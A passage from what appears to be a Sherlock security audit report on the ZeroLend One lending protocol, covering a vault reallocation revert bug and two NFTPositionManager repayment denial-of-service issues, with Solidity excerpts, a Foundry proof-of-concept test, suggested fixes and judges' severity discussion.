 ↪  onlyAllocator {
    uint256 totalSupplied;
    uint256 totalWithdrawn;

    for (uint256 i; i < allocations.length; ++i) {
      MarketAllocation memory allocation = allocations[i];
      IPool pool = allocation.market;

      (uint256 supplyAssets, uint256 supplyShares) = _accruedSupplyBalance(pool);
@>    uint256 toWithdraw = supplyAssets.zeroFloorSub(allocation.assets);

      if (toWithdraw > 0) {
        if (!config[pool].enabled) revert CuratedErrorsLib.MarketNotEnabled(pool);
        // Guarantees that unknown frontrunning donations can be withdrawn, in
 ↪  order to disable a market.
        uint256 shares;
        if (allocation.assets == 0) {
          shares = supplyShares;
@>        toWithdraw = 0;
        }

@>      DataTypes.SharesType memory burnt = pool.withdrawSimple(asset(),
 ↪  address(this), toWithdraw, 0);
        emit CuratedEventsLib.ReallocateWithdraw(_msgSender(), pool, burnt.assets,
 ↪  burnt.shares);
        totalWithdrawn += burnt.assets;
      } else {

        ... SKIP!...
      }
    }
```

The issue arrises when for any given pool, `allocation.assets` is set to 0, meaning the allocator wishes to empty that pool and allocate the liquidity to another pool. Under this scenario, `toWithdraw` is set to 0, and passed into `Pool::withdrawSimple()`. This is a logic mistake to attempt to withdraw 0 instead of the `supplyAssets` when attempting to withdraw all liquidity to a pool. The call will revert due to a check in the pool's withdraw flow that ensures the amount being withdrawn is greater than 0.

It seems this bug is a result of forking the Metamorpho codebase which implements the same logic. However, Metamorpho's underlying withdraw() function can take either an asset amount or share amount, but ZeroLend's `Pool::withdrawSimple()` only accepts an amount of assets.

Internal pre-conditions

1. A curated vault having more than 1 underlying pool in the `supplyQueue`

External pre-conditions

No response

Attack Path

1. A curated vault is setup with more than 1 underlying pool in the `supplyQueue`
2. An allocator wishes to reallocate all the supplied liquidity from one pool to another

3. The allocator calls constructs the array of `MarketAllocation` withdrawing all liquidity from the first pool and depositing the same amount to the second pool
4. The action fails due to the described bug

Impact

- Allocators cannot remove all liquidity in a pool throuhg the `reallocate()` function. The natspec comments indicate that emptying a pool to zero through the `reallocate()` function is the first step of the intended way to remove a pool.

PoC

Paste and run the below test in /test/forge/core/vaults/. It shows a simple 2-pool vault with a single depositors. An allocator attempts to reallocate the liquidity in the first pool to the second pool, but reverts due to the described issue.

```
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity ^0.8.0;

import {Math} from '@openzeppelin/contracts/utils/math/Math.sol';
import './helpers/IntegrationVaultTest.sol';
import {console2} from 'forge-std/src/Test.sol';
import {MarketAllocation} from
↪  '../../../../contracts/interfaces/vaults/ICuratedVaultBase.sol';

contract POC_AllocatorCannotReallocateToZero is IntegrationVaultTest {
  function setUp() public {
    _setUpVault();
    _setCap(allMarkets[0], CAP);
    _sortSupplyQueueIdleLast();

    oracleB.updateRoundTimestamp();
    oracle.updateRoundTimestamp();
  }

  function test_POC_AllocatorCannotReallocateToZero() public {

    // 1. supplier supplies to underlying pool through curated vault
    uint256 assets = 10e18;
    loanToken.mint(supplier, assets);

    vm.startPrank(supplier);
    uint256 shares = vault.deposit(assets, onBehalf);
    vm.stopPrank();

    // 2. Allocator attempts to reallocate all of these funds to another pool
    MarketAllocation[] memory allocations = new MarketAllocation[](2);
    allocations[0] = MarketAllocation({
        market: vault.supplyQueue(0),
        assets: 0
    });

    // Fill in the second MarketAllocation struct
    allocations[1] = MarketAllocation({
        market: vault.supplyQueue(1),
        assets: assets
    });

    vm.startPrank(allocator);
    vm.expectRevert("NOT_ENOUGH_AVAILABLE_USER_BALANCE");
    vault.reallocate(allocations); // Reverts due to attempting a withdrawal amount
↪   of 0
  }
}
```

Mitigation

The comment ”Guarantees that unknown frontrunning donations can be withdrawn, in order to disable a market” does not seem to apply to Zerolend pools as a donation to the pool would not disable the market, nor would it affect the amount of assets the curated vault can withdraw from the underlying pool. With this in mind, Metamorpho's safety check can be removed:

```
  function reallocate(MarketAllocation[] calldata allocations) external
↪   onlyAllocator {
    uint256 totalSupplied;
    uint256 totalWithdrawn;


    for (uint256 i; i < allocations.length; ++i) {
      MarketAllocation memory allocation = allocations[i];
      IPool pool = allocation.market;

      (uint256 supplyAssets, uint256 supplyShares) = _accruedSupplyBalance(pool);
      uint256 toWithdraw = supplyAssets.zeroFloorSub(allocation.assets);

      if (toWithdraw > 0) {
        if (!config[pool].enabled) revert CuratedErrorsLib.MarketNotEnabled(pool);


-       // Guarantees that unknown frontrunning donations can be withdrawn, in
↪   order to disable a market.
-       uint256 shares;
-       if (allocation.assets == 0) {
```

```
-          shares = supplyShares;
-          toWithdraw = 0;
-        }

        DataTypes.SharesType memory burnt = pool.withdrawSimple(asset(),
↪   address(this), toWithdraw, 0);
        emit CuratedEventsLib.ReallocateWithdraw(_msgSender(), pool, burnt.assets,
↪   burnt.shares);
        totalWithdrawn += burnt.assets;
      } else {
        uint256 suppliedAssets =
          allocation.assets == type(uint256).max ?
↪   totalWithdrawn.zeroFloorSub(totalSupplied) :
↪   allocation.assets.zeroFloorSub(supplyAssets);

        if (suppliedAssets == 0) continue;

        uint256 supplyCap = config[pool].cap;
        if (supplyCap == 0) revert CuratedErrorsLib.UnauthorizedMarket(pool);

        if (supplyAssets + suppliedAssets > supplyCap) revert
↪   CuratedErrorsLib.SupplyCapExceeded(pool);

        // The market's loan asset is guaranteed to be the vault's asset because it
↪   has a non-zero supply cap.
        IERC20(asset()).forceApprove(address(pool), type(uint256).max);
        DataTypes.SharesType memory minted = pool.supplySimple(asset(),
↪   address(this), suppliedAssets, 0);
        emit CuratedEventsLib.ReallocateSupply(_msgSender(), pool, minted.assets,
↪   minted.shares);
        totalSupplied += suppliedAssets;
      }
    }

    if (totalWithdrawn != totalSupplied) revert
↪   CuratedErrorsLib.InconsistentReallocation();
  }
```

Issue M-14: NFTPositionManager's `repay()` and `repayETH()` are unavailable unless preceded atomically by an accounting updating operation

Source: https://github.com/sherlock-audit/2024-06-new-scope-judging/issues/467

Found by

000000, A2-security, JCN, Obsidian, denzi_, hyh, stuart_the_minion, thisvishalsingh, zarkk01

Summary

The check in `_repay()` cannot be satisfied if pool state was not already updated by some other operation in the same block. This makes any standalone `repay()` and `repayETH()` calls revert, i.e. core repaying functionality can frequently be unavailable for end users since it's not packed with anything by default in production usage

Root Cause

Pool state wasn't updated before `previousDebtBalance` was set:

NFTPositionManager.sol#L115-L128

```
  /// @inheritdoc INFTPositionManager
  function repay(AssetOperationParams memory params) external {
    if (params.asset == address(0)) revert NFTErrorsLib.ZeroAddressNotAllowed();
    IERC20Upgradeable(params.asset).safeTransferFrom(msg.sender, address(this),
↪   params.amount);
>>   _repay(params);
  }

  /// @inheritdoc INFTPositionManager
  function repayETH(AssetOperationParams memory params) external payable {
    params.asset = address(weth);
    if (msg.value != params.amount) revert NFTErrorsLib.UnequalAmountNotAllowed();
    weth.deposit{value: params.amount}();
>>   _repay(params);
  }
```

NFTPositionManagerSetters.sol#L105-L121

```
  function _repay(AssetOperationParams memory params) internal nonReentrant {
    if (params.amount == 0) revert NFTErrorsLib.ZeroValueNotAllowed();
    if (params.tokenId == 0) {
      if (msg.sender != _ownerOf(_nextId - 1)) revert
 ↪  NFTErrorsLib.NotTokenIdOwner();
      params.tokenId = _nextId - 1;
    }

    Position memory userPosition = _positions[params.tokenId];

    IPool pool = IPool(userPosition.pool);
    IERC20 asset = IERC20(params.asset);

    asset.forceApprove(userPosition.pool, params.amount);

>>  uint256 previousDebtBalance = pool.getDebt(params.asset, address(this),
 ↪  params.tokenId);
    DataTypes.SharesType memory repaid = pool.repay(params.asset, params.amount,
 ↪  params.tokenId, params.data);
>>  uint256 currentDebtBalance = pool.getDebt(params.asset, address(this),
 ↪  params.tokenId);
```

PoolGetters.sol#L94-L97

```
  function getDebt(address asset, address who, uint256 index) external view returns
 ↪  (uint256 debt) {
    bytes32 positionId = who.getPositionId(index);
>>  return
 ↪  _balances[asset][positionId].getDebtBalance(_reserves[asset].borrowIndex);
  }
```

But it was updated in `pool.repay()` before repayment workflow altered the state:

BorrowLogic.sol#L117-L125

```
  function executeRepay(
    ...
  ) external returns (DataTypes.SharesType memory payback) {
    DataTypes.ReserveCache memory cache = reserve.cache(totalSupplies);
>>  reserve.updateState(params.reserveFactor, cache);
```

ReserveLogic.sol#L87-L95

```
  function updateState(DataTypes.ReserveData storage self, uint256 _reserveFactor,
 ↪  DataTypes.ReserveCache memory _cache) internal {
    // If time didn't pass since last stored timestamp, skip state update
    if (self.lastUpdateTimestamp == uint40(block.timestamp)) return;
```

```
>>  _updateIndexes(self, _cache);
    _accrueToTreasury(_reserveFactor, self, _cache);

    self.lastUpdateTimestamp = uint40(block.timestamp);
  }
```

ReserveLogic.sol#L220-L238

```
  function _updateIndexes(DataTypes.ReserveData storage _reserve,
 ↪  DataTypes.ReserveCache memory _cache) internal {
    ...
    if (_cache.currDebtShares != 0) {
      uint256 cumulatedBorrowInterest =
 ↪  MathUtils.calculateCompoundedInterest(_cache.currBorrowRate,
 ↪  _cache.reserveLastUpdateTimestamp);
      _cache.nextBorrowIndex =
 ↪  cumulatedBorrowInterest.rayMul(_cache.currBorrowIndex).toUint128();
>>    _reserve.borrowIndex = _cache.nextBorrowIndex;
    }
```

This way the `previousDebtBalance-currentDebtBalance` consists of state change due to the passage of time since last update and state change due to repayment:

NFTPositionManagerSetters.sol#L105-L125

```
  function _repay(AssetOperationParams memory params) internal nonReentrant {
    if (params.amount == 0) revert NFTErrorsLib.ZeroValueNotAllowed();
    if (params.tokenId == 0) {
      if (msg.sender != _ownerOf(_nextId - 1)) revert
 ↪  NFTErrorsLib.NotTokenIdOwner();
      params.tokenId = _nextId - 1;
    }

    Position memory userPosition = _positions[params.tokenId];

    IPool pool = IPool(userPosition.pool);
    IERC20 asset = IERC20(params.asset);

    asset.forceApprove(userPosition.pool, params.amount);

    uint256 previousDebtBalance = pool.getDebt(params.asset, address(this),
 ↪  params.tokenId);
    DataTypes.SharesType memory repaid = pool.repay(params.asset, params.amount,
 ↪  params.tokenId, params.data);
    uint256 currentDebtBalance = pool.getDebt(params.asset, address(this),
 ↪  params.tokenId);

>>  if (previousDebtBalance - currentDebtBalance != repaid.assets) {
      revert NFTErrorsLib.BalanceMisMatch();
    }
```

`previousDebtBalance` can be stale and, in general, it is `previousDebtBalance-currentDebtBalance=(actualPreviousDebtBalance-currentDebtBalance)-(actualPreviousDebtBalance-previousDebtBalance)=repaid.assets-debtgrowthduetopassageoftimesincelastupdate<repaid.assets`, where `actualPreviousDebtBalance` is `pool.getDebt()` result after `reserve.updateState()`, but before repayment

Internal pre-conditions

Interest rate and debt are positive, so there is some interest accrual happens over time. This is normal (going concern) state of any pool

External pre-conditions

No other state updating operations were run since the last block

Attack Path

No direct attack needed in this case, a protocol malfunction causes loss to some users

Impact

Core system functionality, `repay()` and `repayETH()`, are unavailable whenever aren't grouped with other state updating calls, which is most of the times in terms of the typical end user interactions. Since the operation is time sensitive and is typically run by end users directly, this means that there is a substantial probability that unavailability in this case leads to losses, e.g. a material share of NFTPositionManager users cannot repay in time and end up being liquidated as a direct consequence of the issue (i.e. there are other ways to meet the risk, but time and investigational effort are needed, while liquidations will not wait).

Overall probability is medium: interest accrues almost always and most operations are stand alone (cumulatively high probability) and repay is frequently enough called close to liquidation (medium probability). Overall impact is high: loss is deterministic on liquidation, is equal to liquidation penalty and can be substantial in absolute terms for big positions. The overall severity is high

PoC

A user wants and can repay the debt that is about to be liquidated, but all the repayment transactions revert, being done straightforwardly at a stand alone basis, meanwhile the position is liquidated, bearing the corresponding penalty as net loss

Mitigation

Consider adding direct reserve update before reading from the state, e.g.:

NFTPositionManagerSetters.sol#L119

```
+   pool.forceUpdateReserve(params.asset);
    uint256 previousDebtBalance = pool.getDebt(params.asset, address(this),
 ↪  params.tokenId);
```

Discussion

0xjuaan

shouldn't this be high severity because the only way to retrieve the stuck funds would be for each individual user to somehow atomically update the interest rate before repayment?

Haxatron

Escalate

Final time to use this

sherlock-admin3

> Escalate
>
> Final time to use this

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

cvetanovv

This is the High severity rule:

> Definite loss of funds without (extensive) **limitations of external conditions**. The loss of the affected party must exceed 1%.

Medium:

> Causes a loss of funds but requires certain external conditions or specific states, or a loss is highly constrained. The loss of the affected party must exceed 0.01% and 10 USD. Breaks core contract functionality, rendering the contract useless or leading to loss of funds of the affected party larger than 0.01% and 10 USD.

We can see that in this issue, we have no loss of funds without any constrains.

The main impact is that the `repay()` functionality may not work in certain circumstances, and more matches the rule for Medium severity. : `Breakscorecontractfunctionality,renderingthecontractuselessorleadingtolossoffundsoftheaffectedparty`.

Planning to reject the escalation and leave the issue as is.

0xjuaan

@cvetanovv

The reason why it's high severity is that the user will not be able to withdraw a certain amount of collateral, since they cant repay.

Lets say they deposit $100 and borrow $80. (LTV is 80%)

Now they cant repay the $80, so their $100 is stuck forever. So they effectively lost $20.

DemoreXTess

@0xjuaan How it's stuck I don't understand ? It will revert after if statement.

0xjuaan

@DemoreXTess repayment reverts, so they cant withdraw their collateral (they need to repay debt in order to withdraw collateral), so they lose funds since collateral value > debt value

iamnmt

I believe this issue is low severity.

The user can call `pool.forceUpdateReserve` before `repay` and `repayETH` to update the `borrowIndex`, and then the repayment will not revert. If the user fails to do so, then it is a user mistake.

cvetanovv

As I wrote in my previous comment `repay()` and `repayETH()` do not work as they should. This is the main impact and because of this, I classify this issue as Medium severity. We have broken functionality.

My decision to reject the escalation remains.

WangSecurity

Result: Medium Has duplicates

sherlock-admin4

Escalations have been resolved successfully!

Escalation status:

- haxatron: rejected

Issue M-15: The repayment process in the NFTPositionManager can sometimes be reverted

Source: https://github.com/sherlock-audit/2024-06-new-scope-judging/issues/488

Found by

Obsidian, dany.armstrong90, ether_sky

Summary

Users can `supply` `assets` to the `pools` through the `NFTPositionManager` to earn `rewards` in `zero` tokens. Functions like `deposit`, `withdraw`, `repay`, and `borrow` should operate normally. However, due to an additional check, `repayments` might be reverted.

Vulnerability Detail

Here's the relationship between `shares` (s) and `assets` (a) in the `Pool`:

- **Share to Asset Conversion:** `a=[(s*I+1027/2)/1027]` `(rayMul)`

```
function rayMul(uint256 a, uint256 b) internal pure returns (uint256 c) {
  assembly {
    if iszero(or(iszero(b), iszero(gt(a, div(sub(not(0), HALF_RAY), b))))) {
 ↪  revert(0, 0) }
    c := div(add(mul(a, b), HALF_RAY), RAY)
  }
}
```

- **Asset to Share Conversion:** `s=[(a*1027+I/2)/I]` `(rayDiv)`

```
function rayDiv(uint256 a, uint256 b) internal pure returns (uint256 c) {
  assembly {
    if or(iszero(b), iszero(iszero(gt(a, div(sub(not(0), div(b, 2)), RAY))))) {
 ↪  revert(0, 0) }
    c := div(add(mul(a, RAY), div(b, 2)), b)
  }
}
```

Numerical Example: Suppose there is a `pool P` where users `borrow` `assets A` using the `NFTPositionManager`.

- The current `borrowindex` of `P` is `2*1027`, and the `share` is `5`.

- The `previousdebtbalance` is as below (`Line119`): `previousDebtBalance=[(s*I+1027/2)/1027]=[(5*2*1027+1027/2)/1027]=10`
- If we are going to `repay 3 assets`:
  - The removed `shares` is: `[(a*1027+I/2)/I]=[(3*1027+2*1027/2)/(2*1027)]=2`
  - Therefore, the remaining `share` is: `5-2=3`
- The `currentdebtbalance` is as below (`Line121`): `currentDebtBalance=[(s*I+1027/2)/1027]=[(3*2*1027+1027/2)/1027=6` Then in `line123`, `previousDebtBalance-currentDebtBalance` would be `4` and `repaid.assets` is `3`. As a result, the `repayment` would be reverted.

```
function _repay(AssetOperationParams memory params) internal nonReentrant {
119:  uint256 previousDebtBalance = pool.getDebt(params.asset, address(this),
 ↪   params.tokenId);

  DataTypes.SharesType memory repaid = pool.repay(params.asset, params.amount,
 ↪   params.tokenId, params.data);

121:  uint256 currentDebtBalance = pool.getDebt(params.asset, address(this),
 ↪   params.tokenId);

123:  if (previousDebtBalance - currentDebtBalance != repaid.assets) {
    revert NFTErrorsLib.BalanceMisMatch();
  }
}
```

This example demonstrates a `potential1weimismatch` between `previousDebtBalance` and `currentDebtBalance` due to rounding in the calculations.

Impact

This check seems to cause a `denial-of-service(DoS)` situation where `repayments` can fail due to small rounding errors. This issue can occur with various combinations of `borrowindex`, `shareamounts`, and `repaidassets`.

Code Snippet

https://github.com/sherlock-audit/2024-06-new-scope/blob/c8300e73f4d751796daad3dadbae4d11072b3d79/zerolend-one/contracts/core/pool/utils/WadRayMath.sol#L77
https://github.com/sherlock-audit/2024-06-new-scope/blob/c8300e73f4d751796daad3dadbae4d11072b3d79/zerolend-one/contracts/core/pool/utils/WadRayMath.sol#L93
https://github.com/sherlock-audit/2024-06-new-scope/blob/c8300e73f4d751796daad3dadbae4d11072b3d79/zerolend-one/contracts/core/positions/NFTPositionManagerSetters.sol#L119-L125

Tool used

Manual Review

Recommendation

Either remove this check or adjust it to allow a `1weimismatch` to prevent unnecessary reversion of `repayments`.

Disclaimers

Sherlock does not provide guarantees nor warranties relating to the security of the project.

Usage of all smart contract software is at the respective users’ sole risk and is the users’ responsibility.